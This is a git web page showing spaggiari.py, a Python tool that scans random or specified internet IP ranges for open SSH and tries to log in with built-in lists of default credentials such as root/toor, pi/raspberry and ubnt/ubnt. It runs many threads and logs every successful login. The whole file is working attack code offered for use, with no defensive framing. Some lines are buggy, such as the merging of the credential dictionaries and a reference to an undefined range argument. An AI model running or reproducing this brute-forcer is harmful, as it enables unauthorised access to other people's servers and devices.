spaggiari- irc bot to scan & bruteforce ssh/telnet |
git clone git://git.acid.vegas/spaggiari.git |
Log | Files | Refs | Archive | README | LICENSE |
spaggiari.py (10745B)
1 #!/usr/bin/env python 2 # Spaggiari Scanner - Developed by acidvegas in Python (https://acid.vegas/spaggiari) 3 4 import argparse 5 import logging 6 import os 7 import random 8 import re 9 import socket 10 import sys 11 import threading 12 import time 13 from collections import OrderedDict 14 15 # Throttle Settings 16 max_threads = 100 17 throttle = 20 18 timeout_breaker = 5 19 timeout_port = 10 20 timeout_ssh = 10 21 22 # SSH Login Combos 23 combos = OrderedDict([ 24 ('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')), 25 ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password')) 26 ]) 27 28 deep_combos = OrderedDict([ 29 ('root', ('alien','alpine','calvin','kn1TG7psLu','logapp','openelec','pixmet2003','raspberrypi','rasplex','rootme','soho','TANDBERG','trendimsa1.0')), 30 ('admin', ('aerohive','kn1TG7psLu','TANDBERG')), 31 ('alien', 'alien'), 32 ('bitnami', 'bitnami'), 33 ('cisco', 'cisco'), 34 ('device', 'apc'), 35 ('dpn', 'changeme'), 36 ('HPSupport', 'badg3r5'), 37 ('lp', 'lp'), 38 ('master', 'themaster01'), 39 ('osmc', 'osmc'), 40 ('pi', 'raspberry'), 41 ('plexuser', 'rasplex'), 42 ('sysadmin', 'PASS'), 43 ('toor', 'logapp'), 44 ('ubnt', 'ubnt'), 45 ('user', ('acme','live')), 46 ('vagrant', 'vagrant'), 47 ('virl', 'VIRL'), 48 ('vyos', 'vyos') 49 ]) 50 51 # Excluded IP Ranges 52 reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255') 53 54 def check_ip(ip): 55 return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip) 56 57 def check_port(ip, port): 58 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 59 sock.settimeout(timeout_port) 60 try: 61 code = sock.connect((ip, port)) 62 except socket.error: 63 return False 64 else: 65 if not code: 66 return True 67 else: 68 return False 69 finally: 70 sock.close() 71 72 def check_range(targets): 73 found = False 74 for ip in targets: 75 if found: 76 break 77 for bad_range in reserved: 78 if ip.startswith(bad_range + '.'): 79 found = True 80 break 81 return found 82 83 def ip_range(start_ip, end_ip): 84 start = list(map(int, start_ip.split('.'))) 85 end = list(map(int, end_ip.split('.'))) 86 temp = start 87 ip_range = [] 88 ip_range.append(start_ip) 89 while temp != end: 90 start[3] += 1 91 for i in (3, 2, 1): 92 if temp[i] == 256: 93 temp[i] = 0 94 temp[i-1] += 1 95 ip_range.append('.'.join(map(str, temp))) 96 random.shuffle(ip_range) 97 return ip_range 98 99 def random_int(min, max): 100 return random.randint(min, max) 101 102 def random_ip(): 103 return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255)) 104 105 def random_scan(): 106 while True: 107 ip = (random_ip(),) 108 if not check_range(ip): 109 threading.Thread(target=ssh_bruteforce, args=(ip[0],)).start() 110 while threading.activeCount() >= max_threads: 111 time.sleep(1) 112 113 def range_scan(ip_range): 114 for ip in ip_range: 115 threading.Thread(target=ssh_bruteforce, args=(ip,)).start() 116 while threading.activeCount() >= max_threads: 117 time.sleep(1) 118 while threading.activeCount() >= 2: 119 time.sleep(1) 120 121 def ssh_bruteforce(ip): 122 timeouts = 0 123 if check_port(ip, 22): 124 logging.debug('{0} has port 22 open.'.format(ip)) 125 for username in combos: 126 passwords = combos[username] 127 for password in combos[username]: 128 if timeouts >= timeout_breaker: 129 break 130 else: 131 result = ssh_connect(ip, username, password) 132 if result == 1: 133 timeouts += 1 134 elif result == 2: 135 timeouts = timeout_breaker 136 time.sleep(throttle) 137 else: 138 logging.error('{0} does not have port 22 open.'.format(ip)) 139 140 def ssh_connect(hostname, username, password): 141 ssh = paramiko.SSHClient() 142 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 143 try: 144 ssh.connect(hostname, 22, username, password, timeout=timeout_ssh) 145 except socket.timeout: 146 logging.error('Failed to connect to {0} using {1}:{2} (Timeout)'.format(hostname, username, password)) 147 return 1 148 except Exception as ex: 149 logging.error('Failed to connect to {0} using {1}:{2} ({3})'.format(hostname, username, password, str(ex))) 150 return 0 151 else: 152 logging.info('Successful connection to {0} using {1}:{2}'.format(hostname, username, password)) 153 return 2 154 finally: 155 ssh.close() 156 157 # Main 158 print(''.rjust(56, '#')) 159 print('#{0}#'.format(''.center(54))) 160 print('#{0}#'.format('Spaggiari Scanner'.center(54))) 161 print('#{0}#'.format('Developed by acidvegas in Python'.center(54))) 162 print('#{0}#'.format('https://git.supernets.org/acidvegas/spaggiari'.center(54))) 163 print('#{0}#'.format(''.center(54))) 164 logger = logging.getLogger() 165 logger.setLevel(logging.INFO) 166 stream_handler = logging.StreamHandler(sys.stdout) 167 stream_handler.setLevel(logging.INFO) 168 formatter = logging.Formatter('%(asctime)s | %(levelname)8s: %(message)s', '%I:%M:%S') 169 stream_handler.setFormatter(formatter) 170 logger.addHandler(stream_handler) 171 if not sys.version_info.major == 3: 172 logging.critical('Spaggiari Scanner requires Python version 3 to run!') 173 sys.exit() 174 try: 175 import paramiko 176 except ImportError: 177 logging.critical('Failed to import the Paramiko library!') 178 sys.exit() 179 else: 180 paramiko.util.log_to_file(os.devnull) 181 parser = argparse.ArgumentParser(prog='spaggiari.py', usage='%(prog)s [OPTIONS] [SCAN]') 182 parser.add_argument('-d', action='store_true', dest='deepscan', help='option: enable deep scanning.') 183 parser.add_argument('-f', action='store_true', dest='fastscan', help='option: enable fast scanning.') 184 parser.add_argument('-o', dest='output', help='option: save output from scan(s) to file.', metavar='<path>', type=str) 185 parser.add_argument('-l', dest='listscan', help='scan a list of ip addresses from file.', metavar='<path>', type=str) 186 parser.add_argument('-x', action='store_true', dest='randscan', help='scan random ip addresses. (does not stop)') 187 parser.add_argument('-r', dest='rangescan', help='scan a range of ip addresses.', metavar=('<class>', '<range>'), nargs=2, type=str) 188 parser.add_argument('-t', dest='targetscan', help='scan a target ip address.', metavar='<ip>', type=str) 189 args = parser.parse_args() 190 if args.deepscan: 191 if not args.targetscan: 192 logging.critical('Deep scanning can only be enabled with a target scan. (-t)') 193 sys.exit() 194 elif args.fastscan: 195 logging.critical('Fast scanning can not be enabled with a deep scan. (-f)') 196 sys.exit() 197 else: 198 combos = combos + deep_combos 199 elif args.fastscan: 200 if args.targetscan: 201 logging.critical('Fast scanning can not be enabled with a target scan.') 202 combos = {'root':('root',) } 203 if args.output: 204 file_handler = logging.FileHandler(args.output) 205 file_handler.setLevel(logging.DEBUG) 206 file_handler.setFormatter(formatter) 207 logger.addHandler(file_handler) 208 logger.debug('Logging enabled.') 209 if args.listscan: 210 if os.path.isfile(args.listscan): 211 targets = [] 212 with open(args.listscan) as list_file: 213 lines = list_file.read().splitlines() 214 for line in [x for x in lines if x]: 215 if check_ip(line): 216 targets.append(line) 217 if targets: 218 if not check_range(targets): 219 logging.debug('Scanning {0:,} IP addresses from list...'.format(len(targets))) 220 range_scan(targets) 221 logging.debug('Scan has completed.') 222 else: 223 logging.error('Reserved IP address in range.') 224 else: 225 logging.error('List contains no valid IP addresses.') 226 else: 227 logging.error('Invalid list file. ({0})'.format(args.listscan)) 228 elif args.randscan: 229 logging.debug('Scanning random IP addresses...') 230 random_scan() 231 elif args.rangescan: 232 if args.rangescan[0] in ('b','c'): 233 if args.rangescan[0] == 'b': 234 if args.iprange == 'random': 235 range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255)) 236 else: 237 range_prefix = args.rangescan[1] 238 start = range_prefix + '.0.0' 239 end = range_prefix + '.255.255' 240 elif args.rangescan[0] == 'c': 241 if args.iprange == 'random': 242 range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255)) 243 else: 244 range_prefix = args.rangescan[1] 245 start = range_prefix + '.0' 246 end = range_prefix + '.255' 247 if check_ip(start): 248 targets = ip_range(start, end) 249 if not check_range(targets): 250 logging.debug('Scanning {0} IP addresses in range...'.format(len(targets))) 251 range_scan(targets) 252 logging.debug('Scan has completed.') 253 else: 254 logging.error('Reserved IP address in range.') 255 else: 256 logging.error('Invalid IP range prefix. ({0})'.format(args.rangescan[1])) 257 else: 258 logging.error('Invalid IP Class. ({0})'.format(args.rangescan[0])) 259 elif args.targetscan: 260 if check_ip(args.targetscan): 261 ssh_bruteforce(args.targetscan) 262 logging.debug('Scan has completed.') 263 else: 264 logging.error('Invalid IP Address. ({0})'.format(args.targetscan)) 265 else: 266 parser.print_help()